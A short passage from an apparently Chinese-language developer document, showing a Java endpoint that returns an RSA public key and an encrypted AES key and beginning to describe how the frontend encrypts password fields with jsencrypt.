public Result<Map<String, Object>> getConfig() {
    Map<String, Object> result = new HashMap<>();
    result.put("enabled", cryptoService.isEnabled());
    result.put("publicKey", cryptoService.getPublicKey());
    result.put("aesKey", cryptoService.getEncryptedAesKey());
    return Result.ok(result);
}

注意：AES 密钥在服务重启后会重新生成，前端缓存的旧密钥会失效，此时前端会自动清除缓存并重新获取。

请求加密流程（前端 → 后端）

前端加密密码字段

前端使用 jsencrypt 库进行 RSA 公钥加密：